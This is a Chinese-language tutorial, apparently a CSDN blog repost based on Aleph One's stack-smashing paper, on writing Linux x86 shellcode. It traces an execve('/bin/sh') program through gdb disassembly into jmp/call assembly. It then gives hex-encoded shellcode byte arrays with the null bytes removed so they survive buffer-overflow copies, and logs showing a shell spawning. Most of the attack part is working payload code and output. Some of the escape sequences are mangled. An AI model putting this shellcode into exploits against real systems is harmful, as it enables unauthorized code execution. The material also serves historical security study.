|游梦空间|

...基本上收集网络资源,希望有共同爱好的朋友带来方便...

如何写shell code

我曾看到有人翻了aleph1的<<smashing stack for fun and profit>>,
奇怪的是里面把写shellcode的部分给略掉了,我觉得对于想自己写点儿exploit
的人,不懂怎么写shellcode是不行的.所以我就参考alph1的文章来讲讲怎么写
shellcode.不对的地方还请多多指教.
                                               

   通过覆盖堆栈中的返回地址,我们可以让程序转到该地址去执行我们想要执行
的指令.通常的做法是在溢出的数据中放入我们自己的可执行代码,然后覆盖返回地址,
使它指向我们自己代码开始的地址.一般我们希望可执行代码能启动一个shell.假设
堆栈开始的地址是0xFF,"S"代表我们想执行的代码,堆栈的情况如下:

内存       DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     内存
低端       89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     高端
           buffer                sfp   ret   a     b     c

<------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
           ^                            |
           |____________________________|
栈顶                                                               栈底


sfp: 堆栈帧指针
ret: 返回地址
a,b,c: 函数入口参数


下面是一个启动shell的C程序:

shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>

void main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
------------------------------------------------------------------------------

   为了查看它的汇编代码,我们可以先编译它,然后启动gdb来分析。

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp
0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>:    pushl  $0x0
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
0x8000149 <main+25>:    pushl  %eax
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
0x800014d <main+29>:    pushl  %eax
0x800014e <main+30>:    call   0x80002bc <__execve>
0x8000153 <main+35>:    addl   $0xc,%esp
0x8000156 <main+38>:    movl   %ebp,%esp
0x8000158 <main+40>:    popl   %ebp
0x8000159 <main+41>:    ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx
0x80002c0 <__execve+4>: movl   $0xb,%eax
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
0x80002ce <__execve+18>:        int    $0x80
0x80002d0 <__execve+20>:        movl   %eax,%edx
0x80002d2 <__execve+22>:        testl  %edx,%edx
0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:        negl   %edx
0x80002d8 <__execve+28>:        pushl  %edx
0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>:        popl   %edx
0x80002df <__execve+35>:        movl   %edx,(%eax)
0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax
0x80002e6 <__execve+42>:        popl   %ebx
0x80002e7 <__execve+43>:        movl   %ebp,%esp
0x80002e9 <__execve+45>:        popl   %ebp
0x80002ea <__execve+46>:        ret
0x80002eb <__execve+47>:        nop
End of assembler dump.
------------------------------------------------------------------------------

下面我们看看整个过程是怎样的。先从main()开始:

------------------------------------------------------------------------------
0x8000130 <main>:   pushl  %ebp       #保存原来的栈帧指针
0x8000131 <main+1>: movl   %esp,%ebp  #将当前堆栈指针变成新的栈帧指针
0x8000133 <main+3>: subl   $0x8,%esp  #堆栈指针前移8个字节,为局部变量分配空间
                                      #相当于 char *name[2];因为每个字符指针
                                      #都是4个字节,所以一共8个字节。
0x8000136 <main+6>: movl   $0x80027b8,0xfffffff8(%ebp)
                                      #将字符串"/bin/sh"的地址拷贝到name[0]中                                          
                                      #等于name[0]="/bin/sh";
0x800013d <main+13>:movl   $0x0,0xfffffffc(%ebp)
                                      #将0(NULL)值拷贝到name[1]中
                                      #等于 name[1]=NULL;                                          
0x8000144 <main+20>:pushl  $0x0       #按从右到左的顺序将execv()的三个参数依次
                                      #压栈,首先压入NULL值 (第三个参数)
0x8000146 <main+22>:leal   0xfffffff8(%ebp),%eax
                                      #将name[]的地址装入寄存器EAX中
0x8000149 <main+25>:pushl  %eax       #将name[]的地址压入堆栈 (第二个参数)
0x800014a <main+26>:movl   0xfffffff8(%ebp),%eax
                                   #将"/bin/sh"的地址装入EAX
0x800014d <main+29>:pushl  %eax       #将"/bin/sh"的地址装入堆栈(第一个参数)
0x800014e <main+30>:call   0x80002bc <__execve>
                                      #参数全部压栈后,我们开始调用execve()
                                      #它首先将当前IP压入堆栈
------------------------------------------------------------------------------                                         

   现在我们来看execve().要记住现在我们用的是基于Intel的Linux系统。而syscall的具
体调用细节随着不同的系统和CPU也有所不同。有一些是在堆栈中传递参数,也有的是在寄
存器里。有的是用软件中断跳到kernel模式,有的则是通过一个far调用来完成。Linux在
寄存器里传递它的参数给系统调用,用软件中断跳到kernel模式。(int $80)
  
------------------------------------------------------------------------------
0x80002bc <__execve>:   pushl  %ebp       #保存原来的栈帧指针
0x80002bd <__execve+1>: movl   %esp,%ebp  #将当前堆栈指针变成新的栈帧指针
0x80002bf <__execve+3>: pushl  %ebx       #将ebx压栈
0x80002c0 <__execve+4>: movl   $0xb,%eax  #拷贝0xb(11)到eax中,这是syscall表的
                                          #索引值。11代表execv.
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx  #将"/bin/sh"的地址拷贝到ebx中
0x80002c8 <__execve+12>:movl   0xc(%ebp),%ecx  #将name[]的地址拷贝到ecx中
0x80002cb <__execve+15>:movl   0x10(%ebp),%edx #将null的地址拷贝到edx中
0x80002ce <__execve+18>:int    $0x80      #软件中断,转入kernel模式

------------------------------------------------------------------------------

从上面的分析可以看出,完成execve()系统调用,我们所要做的不过是这么几项而已:

        a) 在内存中有以NULL结尾的字符串"/bin/sh"
        b) 在内存中有"/bin/sh"的地址,其后是一个long word型的NULL值
        c) 将0xb拷贝到寄存器EAX中
        d) 将"/bin/sh"的地址拷贝到寄存器EBX中
        e) 将"/bin/sh"地址的地址拷贝到寄存器ECX中
        f) 将NULL串的地址拷贝到寄存器EDX中
        g) 执行中断指令int $0x80

   如果execve()调用失败的话,程序将继续从堆栈中获取指令并执行,而此时堆栈中的数据
可能是随机的.通常这个程序会core dump.我们希望如果execve调用失败的话,程序可以正
常退出.因此我们必须在execve调用后增加一个exit系统调用.它的C语言程序如下:  
  
exit.c
------------------------------------------------------------------------------
#include <stdlib.h>

void main() {
        exit(0);
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:      pushl  %ebp
0x800034d <_exit+1>:    movl   %esp,%ebp
0x800034f <_exit+3>:    pushl  %ebx
0x8000350 <_exit+4>:    movl   $0x1,%eax
0x8000355 <_exit+9>:    movl   0x8(%ebp),%ebx
0x8000358 <_exit+12>:   int    $0x80
0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:   movl   %ebp,%esp
0x800035f <_exit+19>:   popl   %ebp
0x8000360 <_exit+20>:   ret
0x8000361 <_exit+21>:   nop
0x8000362 <_exit+22>:   nop
0x8000363 <_exit+23>:   nop
End of assembler dump.
------------------------------------------------------------------------------

   我们可以看到,exit系统调用将0x1放到EAX中(这是它的syscall索引值),将退出号码放
入EBX中,然后执行"int $0x80".大部分程序正常退出时返回0值,我们也在EBX中放入0.现
在我们所要完成的工作又增加了三项:
        a) 在内存中有以NULL结尾的字符串"/bin/sh"
        b) 在内存中有"/bin/sh"的地址,其后是一个long word型的NULL值
        c) 将0xb拷贝到寄存器EAX中
        d) 将"/bin/sh"的地址拷贝到寄存器EBX中
        e) 将"/bin/sh"地址的地址拷贝到寄存器ECX中
        f) 将NULL串的地址拷贝到寄存器EDX中
        g) 执行中断指令int $0x80
        h) 将0x1拷贝到寄存器EAX中
        i) 将0x0拷贝到寄存器EBX中
        j) 执行中断指令int $0x80

   下面我们用汇编语言完成上述工作.我们把"/bin/sh"字符串放到代码的后面,并且将会
把字符串的地址和NULL字加到字符串的后面:
  
------------------------------------------------------------------------------
  movl   string_addr,string_addr_addr    #将字符串的地址放入某个内存单元中
movb   $0x0,null_byte_addr             #将null放入字符串"/bin/sh"的结尾
  movl   $0x0,null_addr                  #将NULL字放入某个内存单元中
  movl   $0xb,%eax                       #将0xb拷贝到EAX中
  movl   string_addr,%ebx                #将字符串的地址拷贝到EBX中
  leal   string_addr_addr,%ecx           #将存放字符串地址的地址拷贝到ECX中
  leal   null_string,%edx                #将存放NULL字的地址拷贝到EDX中
  int    $0x80                           #执行中断指令int $0x80 (execv()完成)
  movl   $0x1, %eax                      #将0x1拷贝到EAX中
  movl   $0x0, %ebx                      #将0x0拷贝到EBX中
int    $0x80                           #执行中断指令int $0x80 (exit(0)完成)
  /bin/sh string goes here.              #存放字符串"/bin/sh"
------------------------------------------------------------------------------

   现在的问题是我们并不清楚我们正试图exploit的代码和我们要放置的字符串在内存中
的确切位置.一种解决的方法是用一个jmp和call指令.jmp和call指令可以用IP相关寻址
,也就是说我们可以从当前正要运行的地址跳到一个偏移地址处执行,而不必知道这个地址
的确切数值.如果我们将call指令放在字符串"/bin/sh"的前面,然后jmp到call指令的位置,
那么当call指令被执行的时候,它会首先将下一个要执行指令的地址(也就是字符串的地址
)压入堆栈.我们可以让call指令直接调用我们shellcode的开始指令,然后将返回地址(字符
串地址)从堆栈中弹出到某个寄存器中.假设J代表JMP指令,C代表CALL指令,S代表其他指令,
s代表字符串"/bin/sh",那么我们执行的顺序就象下图所示:

内存       DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     内存
低端       89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     高端
           buffer                sfp   ret   a     b     c

<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________||
             |______________| (3)
栈顶                                                                栈底

(1)用0xD8覆盖返回地址后,子函数返回时将跳到0xD8处开始执行,也就是我们shellcode的
  起始处
(2)由于0xD8处是一个jmp指令,它直接跳到了0xE8处执行我们的call指令
(3)call指令先将返回地址(也就是字符串地址)0xEA压栈后,跳到0xDA处开始执行


   经过上述修改后,我们的汇编代码变成了下面的样子:
------------------------------------------------------------------------------
  jmp    offset-to-call           # 2 bytes 1.首先跳到call指令处去执行
  popl   %esi                     # 1 byte  3.从堆栈中弹出字符串地址到ESI中
  movl   %esi,array-offset(%esi)  # 3 bytes 4.将字符串地址拷贝到字符串后面
  movb   $0x0,nullbyteoffset(%esi)# 4 bytes 5.将null字节放到字符串的结尾
  movl   $0x0,null-offset(%esi)   # 7 bytes 6.将null长字放到字符串地址的地址后面
  movl   $0xb,%eax                # 5 bytes 7.将0xb拷贝到EAX中
  movl   %esi,%ebx                # 2 bytes 8.将字符串地址拷贝到EBX中
  leal   array-offset,(%esi),%ecx # 3 bytes 9.将字符串地址的地址拷贝到ECX
  leal   null-offset(%esi),%edx   # 3 bytes 10.将null串的地址拷贝到EDX
  int    $0x80                    # 2 bytes 11.调用中断指令int $0x80
  movl   $0x1, %eax               # 5 bytes 12.将0x1拷贝到EAX中
  movl   $0x0, %ebx              # 5 bytes 13.将0x0拷贝到EBX中
  int    $0x80                   # 2 bytes 14.调用中断int $0x80
  call   offset-to-popl           # 5 bytes 2.将返回地址压栈,跳到popl处执行
/bin/sh string goes here.
------------------------------------------------------------------------------

   计算一下从jmp到call和从call到popl,以及从字符串地址到name数组,从字符串地址到
null串的偏移量,我们得到下面的程序:
  
------------------------------------------------------------------------------
jmp    0x26               # 2 bytes 1.首先跳到call指令处去执行
popl   %esi               # 1 byte  3.从堆栈中弹出字符串地址到ESI中
movl   %esi,0x8(%esi)     # 3 bytes 4.将字符串地址拷贝到字符串后面第9个字节处
movb   $0x0,0x7(%esi)    # 4 bytes 5.将null字节放到字符串后第8个字节处
movl   $0x0,0xc(%esi)     # 7 bytes 6.将null长字放到字符串地址后第13个字节处
movl   $0xb,%eax          # 5 bytes 7.将0xb拷贝到EAX中
movl   %esi,%ebx          # 2 bytes 8.将字符串地址拷贝到EBX中
leal   0x8(%esi),%ecx     # 3 bytes 9.将字符串地址的地址拷贝到ECX
leal   0xc(%esi),%edx     # 3 bytes 10.将null串的地址拷贝到EDX
int    $0x80              # 2 bytes 11.调用中断指令int $0x80
movl   $0x1, %eax        # 5 bytes 12.将0x1拷贝到EAX中
movl   $0x0, %ebx        # 5 bytes 13.将0x0拷贝到EBX中
int    $0x80             # 2 bytes 14.调用中断int $0x80
call   -0x2b             # 5 bytes 2.将返回地址压栈,跳到popl处执行
  .string /"/bin/sh/"     # 8 bytes
------------------------------------------------------------------------------
当上述过程执行到第7步时,我们可以看一下这时堆栈中的情况
假设字符串的地址是0xbfffc5f0:
       
   |........ | 
   |---------|0xbfffc5f0  %esi         字符串地址
   |   '/'   |
   |---------|
   |   'b'   |
   |---------|
   |   'i'   |
   |---------|
   |   'n'   |
   |---------|
   |   '/'   |
   |---------|
   |   's'   |
   |---------|
   |   'h'   |
   |---------|0xbfffc5f7  0x7(%esi) null字节的地址
   |    0    |
   |---------|0xbfffc5f8  0x8(%esi)(存放)字符串地址的地址 即name[0] 大小是4个字节
   |   0xbf  |
   |---------| 注:这四个字节实际可能并不是按顺序存储的,也许是按0xf0c5ffbf的顺序.
   |   0xff  |    我没有验证过,只是为了说明问题,简单的这么写了一下.
   |---------|    有人感兴趣的可以验证一下.
   |   0xc5  |
   |---------|
   |   0xf0  |
   |---------|0xbfffc5fc  0xc(%esi)    空串的地址 即name[1] 大小是4个字节
   |    0    | 
   |---------|
   |    0    |
   |---------|
   |    0    |
   |---------|
   |    0    |
   |---------| 
   | ....... |
         
------------------------------------------------------------------------------          
   为了证明它能正常工作,我们必须编译并运行它.但这里有个问题,我们的代码要自己修
改自己,而大部分操作系统都将代码段设为只读,为了绕过这个限制,我们必须将我们希望
执行的代码放到堆栈或数据段中,并且转向执行它.我们可以将代码放到数据段的一个全局
数组中.我们需要首先得到二进制码的16进制形式.我们可以先编译,然后用GDB得到我们所
要的东西.
  
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x2a                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string /"/bin/sh/"             # 8 bytes
");
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     jmp    0x800015f <main+47>
0x8000135 <main+5>:     popl   %esi
0x8000136 <main+6>:     movl   %esi,0x8(%esi)
0x8000139 <main+9>:     movb   $0x0,0x7(%esi)
0x800013d <main+13>:    movl   $0x0,0xc(%esi)
0x8000144 <main+20>:    movl   $0xb,%eax
0x8000149 <main+25>:    movl   %esi,%ebx
0x800014b <main+27>:    leal   0x8(%esi),%ecx
0x800014e <main+30>:    leal   0xc(%esi),%edx
0x8000151 <main+33>:    int    $0x80
0x8000153 <main+35>:    movl   $0x1,%eax
0x8000158 <main+40>:    movl   $0x0,%ebx
0x800015d <main+45>:    int    $0x80
0x800015f <main+47>:    call   0x8000135 <main+5>
0x8000164 <main+52>:    das
0x8000165 <main+53>:    boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>:    das
0x8000169 <main+57>:    jae    0x80001d3 <__new_exitfn+55>
0x800016b <main+59>:    addb   %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>:     0xeb
(gdb)
0x8000134 <main+4>:     0x2a
(gdb)
..
..
..
------------------------------------------------------------------------------

testsc.c
------------------------------------------------------------------------------
char shellcode[] =
        "/xeb/x2a/x5e/x89/x76/x08/xc6/x46/x07/x00/xc7/x46/x0c/x00/x00/x00"
        "/x00/xb8/x0b/x00/x00/x00/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80"
        "/xb8/x01/x00/x00/x00/xbb/x00/x00/x00/x00/xcd/x80/xe8/xd1/xff/xff"
        "/xff/x2f/x62/x69/x6e/x2f/x73/x68/x00/x89/xec/x5d/xc3";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------

   很好,它现在工作了.但还有个小问题.大多数情况下我们都是试图overflow一个字符型
buffer.因此在我们的shellcode中任何的null字节都会被认为是字符串的结束,copy过程
就被中止了.因此要是exploit工作,shellcode中不能有null字节.我们可以略微的调整一
下代码:
  
           有问题的指令:                                 替代指令:
           --------------------------------------------------------
           movb   $0x0,0x7(%esi)                xorl   %eax,%eax
           molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
                                                movl   %eax,0xc(%esi)
           --------------------------------------------------------
           movl   $0xb,%eax                     movb   $0xb,%al
           --------------------------------------------------------
           movl   $0x1, %eax                    xorl   %ebx,%ebx
           movl   $0x0, %ebx                    movl   %ebx,%eax
                                                inc    %eax
           --------------------------------------------------------

   我们改进后的代码如下:

shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x1f                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
        movb   %eax,0x7(%esi)           # 3 bytes
        movl   %eax,0xc(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        xorl   %ebx,%ebx                # 2 bytes
        movl   %ebx,%eax                # 2 bytes
        inc    %eax                     # 1 bytes
        int    $0x80                    # 2 bytes
        call   -0x24                    # 5 bytes
        .string /"/bin/sh/"             # 8 bytes
                                        # 46 bytes total
");
}
------------------------------------------------------------------------------

   测试一下新的代码是否工作:

testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
        "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
        "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
        "/x80/xe8/xdc/xff/xff/xff/bin/sh";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------
现在你已经明白了怎么写shellcode了,并不象想象中那么难,是吧?:-)
这里介绍的仅仅是一个写shellcode的思路以及需要注意的一些问题.
你可以根据自己的需要,编写出自己的shellcode来.
阅读更多
个人分类: 溢出学习
想对作者说点什么? 我来说一句

namespace coding project

2010年01月06日 65KB 下载

Bypass Antivirus

2014年01月13日 2KB 下载

Expert Shell Scripting

2011年06月12日 62KB 下载

如何写好毕业论文 如何写论文

2009年05月13日 29KB 下载

这里有教人如何写软文的压缩包

2009年06月05日 524KB 下载

没有更多推荐了,返回首页

加入CSDN,享受更精准的内容推荐,与500万程序员共同成长!
关闭
关闭